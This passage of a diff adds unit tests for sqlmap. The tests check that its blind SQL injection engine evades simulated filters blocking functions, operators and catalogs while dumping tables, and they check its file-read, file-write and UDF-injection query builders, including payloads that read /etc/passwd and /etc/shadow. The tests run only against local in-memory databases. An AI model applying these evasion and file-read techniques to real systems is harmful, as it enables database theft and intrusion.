sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id, uname, note)") + truth = [(1, u"admin", u"all,good"), (2, u"o'brien", u"café,€"), (3, u"x", u"")] + for row in truth: + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + d = esp.dump("users", limit=10) + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset({"id": str(i), "uname": u, "note": n}.items()) for i, u, n in truth) + self.assertTrue(d["complete"] and got == want, "dump mismatch: %r" % d["rows"]) + + def test_dump_scavenges_without_hex_or_concat(self): + # DOOMSDAY: a back-end with NO hex function AND NO concat operator (nothing to + # frame a whole row with) must still be dumped - cell by cell, one value per + # extraction. Quotes/commas/NULLs in the data must survive (a single value has + # no framing ambiguity). This is the scavenger's whole reason to exist. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT, email TEXT)") + for row in ((1, "luther", "a@b.c"), (2, "o'brien", "x,y@z"), (3, "wu", None)): + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR|" + r"\|\||\bCONCAT\(|CONCAT_WS|\)\+\(|\)&\(") # no hex, no concat at all + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNone(esp.dialect.hexfn) + self.assertIsNone(esp.dialect.concat) + d = esp.dump("users") + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset(v.items()) for v in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "o'brien", "email": "x,y@z"}, + {"id": "3", "name": "wu", "email": None})) + self.assertTrue(d["complete"] and got == want, "cell-by-cell dump: %r" % d["rows"]) + + def test_enumerate_without_count(self): + # COUNT() filtered (a WAF, or an exotic engine) must not kill discovery: + # catalog detection, brute-force existence probing, and identifier quoting are + # all COUNT-free (scalar-subquery existence), so tables/columns/dump still work. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'admin'), (2, 'root')") + con.commit() + blk = re.compile(r"(?i)\bCOUNT\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.enumerate("table", limit=10), ["users"]) + self.assertEqual(sorted(esp.columns("users")), ["id", "name"]) + rows = (esp.dump("users") or {}).get("rows") or [] + got = set(frozenset(dict(zip(esp.dump("users")["columns"], r)).items()) for r in rows) + want = set(frozenset(v.items()) for v in ({"id": "1", "name": "admin"}, {"id": "2", "name": "root"})) + self.assertEqual(got, want) + + def test_quoting(self): + # reserved-word / spaced column names must be quoted, not interpolated raw + con = sqlite3.connect(":memory:") + con.execute('CREATE TABLE q (id INTEGER, "order" TEXT, "group by" TEXT)') + con.execute('INSERT INTO q VALUES (1, ?, ?)', ("a'b", "x,y")) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + dq = esp.dump("q") + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a'b", "group by": "x,y"}.items())]) + self.assertTrue(dq["complete"] and got == want and esp.dialect.identQuote, + "quoted-identifier dump failed: %r" % dq["rows"]) + + def test_strategy_handoff(self): + # the frozen InferenceStrategy is a *sufficient* host interface, and immutable + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE k (v TEXT)") + con.execute("INSERT INTO k VALUES ('Str4t3gy!')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + strat = esp.strategy() + self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x") + hr = hostExtract(ask, strat, "(SELECT v FROM k)") + self.assertEqual(hr.value, "Str4t3gy!") + self.assertTrue(hr.exact) + self.assertTrue(strat.asQueriesRow()["substring"]) + + def test_pattern_match_fallback(self): + # SUBSTR + LENGTH + hex + code fns ALL blacklisted -> pure GLOB/LIKE floor + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE flag (id INTEGER, v TEXT)") + con.execute("INSERT INTO flag VALUES (1, 'FLAG{no_SUBSTR_%_needed}')") + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD)\(|\bHEX\(|" + r"RAWTOHEX|ENCODE\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNotNone(esp.dialect.prefix) + self.assertEqual(esp.extract("(SELECT v FROM flag WHERE id=1)"), "FLAG{no_SUBSTR_%_needed}") + + def test_like_floor_escapes_wildcard_chars(self): + # the classic trap: on the LIKE floor '_' and '%' ARE the wildcards, so a value + # like 'all_products' must escape them (\_ ESCAPE '\'), not treat them as + # match-anything. GLOB is blocked here to force LIKE (where '_'/'%' are magic). + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE v (val TEXT)") + con.execute("INSERT INTO v VALUES ('all_products')") + for t in ("all_products", "wp_users", "sales%2024"): # '_'/'%' in identifiers + con.execute('CREATE TABLE "%s" (id)' % t) + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD|CODEPOINT)\(|" + r"\bHEX\(|RAWTOHEX|ENCODE\(|GLOB") # +GLOB -> only LIKE left + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.dialect.prefix.name, "LIKE") # GLOB gone -> LIKE floor + self.assertEqual(esp.extract("(SELECT val FROM v)"), "all_products") + tabs = esp.enumerate("table", limit=10) or [] + self.assertEqual(sorted(tabs), ["all_products", "sales%2024", "v", "wp_users"]) + + def test_length_from_substring(self): + # every length fn blacklisted but SUBSTR present -> length derived from the end + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t6 (v TEXT)") + con.execute(u"INSERT INTO t6 VALUES ('Admin-42€')") + con.commit() + blk = re.compile(r"(?i)\b(CHAR_LENGTH|LENGTH|LEN)\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertIsNone(d.length) + self.assertEqual(esp.extract("(SELECT v FROM t6)"), u"Admin-42€") + + def test_enumeration_degrades_not_crashes(self): + # a permission/charset wall mid-walk (oracle can't decide the keyset bound) + # must STOP with partial results, never crash with OracleUndecided + con = sqlite3.connect(":memory:") + for t in ("alpha", "beta", "gamma"): + con.execute("CREATE TABLE %s (x)" % t) + con.commit() + + def ask(cond): + if "name>" in cond.replace(" ", "").lower(): # the keyset bound + raise RuntimeError("simulated permission/charset wall") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + names = esp.enumerate("table", limit=10) # must not raise + self.assertEqual(names, ["alpha"]) + self.assertTrue(any("stopped early" in n for n in esp.dialect.notes)) + + def test_left_right_rung(self): + # SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1). + # LEFT/RIGHT are reserved JOIN keywords in SQLite; some builds reject LEFT(/RIGHT( + # as function calls (syntax error, keyword) rather than invoking a same-named UDF, + # so register the shims under non-keyword names and translate the engine's LEFT(/ + # RIGHT( onto them (the same rewrite the disguised-dialect oracles use). Keeps the + # test portable across SQLite builds while still exercising the real left_right rung. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t7 (v TEXT)") + con.execute("INSERT INTO t7 VALUES ('Zagreb-42')") + con.commit() + con.create_function("esp_left", 2, lambda s, n: (s or "")[:max(n, 0)]) + con.create_function("esp_right", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "") + blk = re.compile(r"(?i)\b(SUBSTR|SUBSTRING|SUBSTRC|MID)\s*\(") + rwLeft = re.compile(r"(?i)\bLEFT\s*\(") + rwRight = re.compile(r"(?i)\bRIGHT\s*\(") + + def ask(cond): + if blk.search(cond): + return False + sql = rwRight.sub("esp_right(", rwLeft.sub("esp_left(", cond)) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertTrue(d.substring is not None and d.substring[0] == "left_right") + self.assertEqual(esp.extract("(SELECT v FROM t7)"), "Zagreb-42") + + # -- adversarial dialect scenarios --------------------------------------------- + + def _adapt(self, oracle): + esp = Esperanto(oracle) + esp.discover() + return esp, esp.extract(_SECRET_EXPR) + + def test_disguise_substring_is_SUBSTRING(self): + # SUBSTR/MID blocked; the engine "has" SUBSTRING -> mapped to SQLite substr + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(", + rewrites=[(r"SUBSTRING\(", "substr(")])) + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(got, "admin") + + def test_disguise_length_is_LEN(self): + # CHAR_LENGTH/LENGTH blocked; the engine "has" LEN -> mapped to SQLite length + esp, got = self._adapt(_disguisedOracle( + blocked=r"CHAR_LENGTH\(|\bLENGTH\(", + rewrites=[(r"\bLEN\(", "length(")])) + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(got, "admin") + + def test_disguise_charcode_is_ASCII(self): + # UNICODE/ORD blocked; the engine "has" ASCII -> mapped to SQLite unicode() + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bUNICODE\(|\bORD\(|CODEPOINT\(", + rewrites=[(r"\bASCII\(", "unicode(")])) + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.compare, "code") + self.assertEqual(got, "admin") + + def test_disguise_concat_is_CONCAT_not_pipes(self): + # || blocked (as if it were logical OR, MySQL-style); engine has variadic CONCAT + esp, got = self._adapt(_disguisedOracle( + blocked=r"\|\|", + funcs=[("CONCAT", -1, _concatFn)])) + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertEqual(got, "admin") + + def test_disguise_no_catalog_brute_forces_schema(self): + # every system catalog denied: the engine knows NOTHING about the schema and + # must brute-force the table + columns, then dump + esp = Esperanto(_disguisedOracle( + blocked=r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas")) + esp.discover() + self.assertIsNone(esp.dialect.catalog) + self.assertEqual(esp.enumerate("table"), ["users"]) + self.assertEqual(esp.columns("users"), ["id", "name", "email"]) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_gt_blocked_falls_to_between(self): + # a WAF that strips '<'/'>' must not break bisection - retry via BETWEEN + esp = Esperanto(_disguisedOracle(blocked=r">|<")) + esp.discover() + self.assertEqual(esp._comparator, "between") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # BETWEEN keyset pages all + + def test_disguise_gt_and_between_blocked_use_operator_free(self): + # '<'/'>' AND BETWEEN gone: rather than drop to slow order-free membership, the ladder + # finds an ORDERED operator-free rung (SIGN((e)-(n))=1 etc.) that needs no comparison + # operator - keeping efficient log2 bisection alive. + esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN")) + esp.discover() + self.assertEqual(esp._comparator, "sign") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # ordered rung still pages all + + def test_disguise_no_ordering_no_in_still_extracts(self): + # the hard floor: no '<'/'>', no BETWEEN, no IN, and no operator-free ordered rung + # (SIGN/ABS/LEAST/GREATEST/NULLIF/WIDTH_BUCKET/INTERVAL) - only '=' equality. Values + # still extract (linear scan); multi-row dump honestly degrades (can't page) + esp = Esperanto(_disguisedOracle( + blocked=r">|<|BETWEEN|\bIN\s*\(|SIGN\(|ABS\(|LEAST\(|GREATEST\(|NULLIF\(|WIDTH_BUCKET\(|INTERVAL\(")) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + rows = (esp.dump("users") or {}).get("rows") + self.assertTrue(rows and rows[0] == ["1", "luther", "a@b.c"]) + + def test_disguise_everything_at_once(self): + # the monster: SUBSTRING + LEN + ASCII(->unicode) + variadic CONCAT (no ||) + + # NO catalog, all at once - the engine must adapt to every disguise and dump + esp = Esperanto(_disguisedOracle( + blocked=(r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(|CHAR_LENGTH\(|\bLENGTH\(|" + r"\bUNICODE\(|\bORD\(|CODEPOINT\(|\|\||" + r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"), + rewrites=[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\bASCII\(", "unicode(")], + funcs=[("CONCAT", -1, _concatFn)])) + esp.discover() + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertIsNone(esp.dialect.catalog) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_dialect_profiles(self): + # each coherent fake back-end must be discovered from scratch and yield every + # row byte-exact - not just the one capability the disguise touches (column + # ORDER is a dialect detail, so compare rows as column->value maps) + want = set(frozenset(d.items()) for d in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "admin", "email": "p@w.n"}, + {"id": "3", "name": "wu", "email": None})) + for name, blocked, rewrites, funcs in _DIALECTS: + esp = Esperanto(_disguisedOracle(blocked, rewrites, funcs)) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin", "%s: extract" % name) + d = esp.dump("users") or {} + got = set(frozenset(dict(zip(d.get("columns") or [], r)).items()) for r in (d.get("rows") or [])) + self.assertEqual(got, want, "%s: dump %r" % (name, d.get("rows"))) + + def test_disguise_bracket_quoting_reserved_words(self): + # '"' and backtick idents blocked -> the engine must fall to [..] quoting to + # reach reserved-word columns; commas/quotes in the data must survive framing + seed = ('CREATE TABLE q (id INTEGER, "order" TEXT, "group" TEXT)', + "INSERT INTO q VALUES (1, ?, ?)") + con = sqlite3.connect(":memory:") + con.execute(seed[0]); con.execute(seed[1], ("a,b", "x'y")); con.commit() + blk = re.compile(r'"|`') + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + dq = esp.dump("q") + self.assertEqual(esp.dialect.identQuote, ("[", "]")) # forced past " and ` to [..] + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a,b", "group": "x'y"}.items())]) + self.assertTrue(dq["complete"] and got == want, "bracket-quoted dump: %r" % dq["rows"]) + + def test_disguise_lossy_charcode_escalates_to_hex(self): + # a first-byte charcode fn (MySQL-style ASCII) is lossy for non-ASCII; the + # engine must detect that and escalate to hex, recovering the bytes exactly + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute(u"INSERT INTO t VALUES ('café-€')") # cafe-EUR + con.commit() + con.create_function("ASCII", 1, lambda s: (bytearray(s.encode("utf-8"))[0] if s else None)) + blk = re.compile(r"\bUNICODE\(|\bORD\(|CODEPOINT\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.extractText("(SELECT v FROM t)"), u"café-€") + + def test_disguise_unicode_through_dialect(self): + # non-ASCII data recovered byte-exact even while the dialect is disguised + # (SUBSTR/MID/CHAR_LENGTH/LENGTH blocked -> SUBSTRING/LEN mapped to SQLite) + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('Zagreb-župa-€42')") # Zagreb-zupa-EUR42 + con.commit() + blk = re.compile(r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(", re.I) + rw = [(re.compile(r"SUBSTRING\(", re.I), "substr("), (re.compile(r"\bLEN\(", re.I), "length(")] + + def ask(cond): + if blk.search(cond): + return False + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.extractText("(SELECT v FROM s)"), u"Zagreb-župa-€42") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py new file mode 100644 index 00000000000..6eb4e6bcfe4 --- /dev/null +++ b/tests/test_filesystem.py @@ -0,0 +1,740 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the file-read/file-write/UDF-injection SQL & command builders: + + - plugins/generic/filesystem.py (encoding, INSERT/UPDATE query forging, + length probe, read/write dispatch) + - plugins/dbms/mssqlserver/filesystem.py + (debug.exe SCR script, BULK INSERT / + bin->hex extraction, PowerShell & + certutil base64 upload commands) + - lib/takeover/udf.py (sys_exec/sys_eval calls, CREATE FUNCTION + SQL for MySQL/PostgreSQL, remote-path + selection, UDF pruning) + +These methods are (near-)pure string builders given conf/kb plus the injection +layer. Each test drives the real method with inject.goStacked / inject.getValue +(and, for MSSQL, xpCmdshellWriteFile/execCmd) captured, and asserts the EXACT +SQL / command / encoded payload produced -- so a regression in the assembly +logic fails the test. No live target / network / DBMS involved. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.convert import encodeHex, encodeBase64, getText + + +# --------------------------------------------------------------------------- # +# shared base: snapshot/restore every global + monkeypatch these tests touch # +# --------------------------------------------------------------------------- # +class _FsBase(unittest.TestCase): + # subclasses set `target_modules` = list of modules whose inject.* we patch + target_modules = () + + # conf fields read by the methods under test + _CONF_KEYS = ("batch", "direct", "fileRead", "fileWrite", "filePath", + "commonFiles", "osPwn", "osCmd", "osShell", "regRead", + "regAdd", "regDel", "tmpPath", "shLib", "encoding") + _KB_KEYS = ("bruteMode", "binaryField", "fileReadMode") + + def setUp(self): + self._conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._kb = {k: kb.get(k) for k in self._KB_KEYS} + self._patched = [] # (obj, attr, original) + + conf.batch = True + conf.direct = True + kb.bruteMode = False + + def tearDown(self): + for obj, attr, orig in reversed(self._patched): + setattr(obj, attr, orig) + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + + def patch(self, obj, attr, value): + self._patched.append((obj, attr, getattr(obj, attr))) + setattr(obj, attr, value) + return value + + +# --------------------------------------------------------------------------- # +# plugins/generic/filesystem.py # +# --------------------------------------------------------------------------- # +class TestGenericFilesystem(_FsBase): + import plugins.generic.filesystem as module + + def _fs(self): + return self.module.Filesystem() + + # -- fileContentEncode ------------------------------------------------- # + def test_fileContentEncode_hex_single(self): + # single=True -> one element, 0x-prefixed, exact lower-case hex of bytes + out = self._fs().fileContentEncode(b"ABC", "hex", True) + self.assertEqual(out, ["0x414243"]) + + def test_fileContentEncode_base64_single(self): + out = self._fs().fileContentEncode(b"ABC", "base64", True) + self.assertEqual(out, ["'QUJD'"]) + + def test_fileContentEncode_hex_chunked(self): + # 4 bytes -> 8 hex chars; chunkSize=4 -> two 0x-prefixed chunks of 4 chars + out = self._fs().fileContentEncode(b"ABCD", "hex", False, chunkSize=4) + self.assertEqual(out, ["0x4142", "0x4344"]) + + def test_fileContentEncode_base64_chunked(self): + # "ABCD" -> base64 "QUJDRA==" (8 chars); chunkSize=4 -> two quoted chunks + out = self._fs().fileContentEncode(b"ABCD", "base64", False, chunkSize=4) + self.assertEqual(out, ["'QUJD'", "'RA=='"]) + + def test_fileContentEncode_chunk_below_threshold_is_single(self): + # content shorter than chunkSize, single=False -> still one 0x chunk + out = self._fs().fileContentEncode(b"AB", "hex", False, chunkSize=256) + self.assertEqual(out, ["0x4142"]) + + def test_fileEncode_reads_then_encodes(self): + # fileEncode must read the file bytes and delegate to fileContentEncode + path = os.path.join( + tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"hello") + try: + out = self._fs().fileEncode(path, "hex", True) + finally: + os.remove(path) + self.assertEqual(out, ["0x%s" % getText(encodeHex(b"hello"))]) + self.assertEqual(out, ["0x68656c6c6f"]) + + # -- fileToSqlQueries -------------------------------------------------- # + def test_fileToSqlQueries_insert_then_concat_update(self): + # first chunk -> INSERT; subsequent -> UPDATE using the DBMS concatenate + # template (MySQL: CONCAT(field, chunk)). + set_dbms("MySQL") + fs = self._fs() + queries = fs.fileToSqlQueries(["0x4142", "0x4344", "0x4546"]) + tbl, fld = fs.fileTblName, fs.tblField + self.assertEqual(queries[0], + "INSERT INTO %s(%s) VALUES (0x4142)" % (tbl, fld)) + self.assertEqual(queries[1], + "UPDATE %s SET %s=CONCAT(%s,0x4344)" % (tbl, fld, fld)) + self.assertEqual(queries[2], + "UPDATE %s SET %s=CONCAT(%s,0x4546)" % (tbl, fld, fld)) + + # -- _checkFileLength -------------------------------------------------- # + def test_checkFileLength_mysql_query_and_samefile(self): + # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # 5 bytes + captured = {} + + def getValue(query, *a, **k): + captured["query"] = query + return "5" + + self.patch(self.module.inject, "getValue", getValue) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertEqual(captured["query"], + "LENGTH(LOAD_FILE('/etc/passwd'))") + self.assertIs(same, True) + + def test_checkFileLength_size_differs(self): + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # local 5 + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + # remote 9 != local 5 -> not the same file + self.assertIs(same, False) + + def test_checkFileLength_mssql_openrowset_stacked(self): + # MSSQL path issues an OPENROWSET BULK INSERT then DATALENGTH probe. + # createSupportTbl lives in the misc mixin; stub it on a subclass so the + # OPENROWSET-building branch runs in isolation. + set_dbms("Microsoft SQL Server") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"ABCD") # 4 bytes + stacked = [] + + class FS(self.module.Filesystem): + def createSupportTbl(self, *a, **k): + pass + + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "4") + fs = FS() + try: + same = fs._checkFileLength(path, "C:\\boot.ini") + finally: + os.remove(path) + tbl, fld = fs.fileTblName, fs.tblField + # createSupportTbl DROP+CREATE, then the OPENROWSET insert + insert = ("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK " + "'C:\\boot.ini', SINGLE_BLOB) AS %s(%s)" + % (tbl, fld, fld, tbl, fld)) + self.assertIn(insert, stacked) + self.assertIs(same, True) + + def test_checkFileLength_not_written_warns_false(self): + # non-positive remote size -> treated as "not written" -> sameFile False + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"x") + self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertIs(same, False) + + # -- readFile ---------------------------------------------------------- # + def test_readFile_decodes_hex_and_writes(self): + # Drive the generic readFile orchestration with a stubbed stackedReadFile + # returning canned hex; assert the bytes handed to dataToOutFile are the + # decoded content (raw bytes), and the remote name is passed through. + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + return encodeHex(b"secret-data", binary=False) + + def askCheckReadFile(self, localFile, remoteFile): + return None + + def grab(name, data): + written["d"] = (name, data) + return "/out/path" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/etc/shadow") + self.assertEqual(written["d"][0], "/etc/shadow") + self.assertEqual(written["d"][1], b"secret-data") + self.assertEqual(out, ["/out/path"]) + + def test_readFile_listlike_chunks_joined(self): + # list-of-chunks return value gets flattened before hex-decoding + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + # two chunks (each a 1-element list, as inject.getValue returns) + return [[encodeHex(b"AB", binary=False)], + [encodeHex(b"CD", binary=False)]] + + def askCheckReadFile(self, localFile, remoteFile): + return True + + def grab(name, data): + written["d"] = data + return "/out" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/f") + self.assertEqual(written["d"], b"ABCD") + # askCheckReadFile True -> suffix annotation + self.assertEqual(out, ["/out (same file)"]) + + # -- writeFile dispatch ------------------------------------------------ # + def test_writeFile_dispatches_to_stacked(self): + # With stacking available (conf.direct True), writeFile must route to + # stackedWriteFile and return its result. + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"data") + calls = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + calls["cleanup"] = True + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["args"] = (localFile, remoteFile, fileType, forceCheck) + return True + + try: + res = FS().writeFile(path, "/var/www/x", "text", forceCheck=True) + finally: + os.remove(path) + self.assertIs(res, True) + self.assertEqual(calls["args"], (path, "/var/www/x", "text", True)) + self.assertTrue(calls["cleanup"]) + + +# --------------------------------------------------------------------------- # +# plugins/dbms/mssqlserver/filesystem.py # +# --------------------------------------------------------------------------- # +class TestMSSQLFilesystem(_FsBase): + import plugins.dbms.mssqlserver.filesystem as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + # -- _dataToScr (debug.exe script) ------------------------------------- # + def test_dataToScr_header_and_hex_bytes(self): + fs = self._handler() + lines = fs._dataToScr(b"AB", "chunk1") + # header: name / rcx / size(hex) / fill + self.assertEqual(lines[0], "n chunk1") + self.assertEqual(lines[1], "rcx") + self.assertEqual(lines[2], "%x" % 2) # size = 2 bytes + self.assertEqual(lines[3], "f 0100 %x 00" % 2) + # the data 'e' line: base addr 0x100, hex of 'A'(41) and 'B'(42) + self.assertEqual(lines[4], "e 100 41 42") + self.assertEqual(lines[-2], "w") + self.assertEqual(lines[-1], "q") + + def test_dataToScr_wraps_lines_and_advances_address(self): + # lineLen=20, so 21 bytes -> two 'e' lines; second starts at 0x100+20=0x114 + fs = self._handler() + content = bytes(bytearray(range(21))) # 21 bytes 0x00..0x14 + lines = fs._dataToScr(content, "c") + eLines = [ln for ln in lines if ln.startswith("e ")] + self.assertEqual(len(eLines), 2) + self.assertTrue(eLines[0].startswith("e 100 00 01 02")) + # 20 bytes consumed -> next address 0x100+0x14 = 0x114 + self.assertTrue(eLines[1].startswith("e 114 14")) + + # -- stackedReadFile (BULK INSERT + bin->hex extraction) --------------- # + def 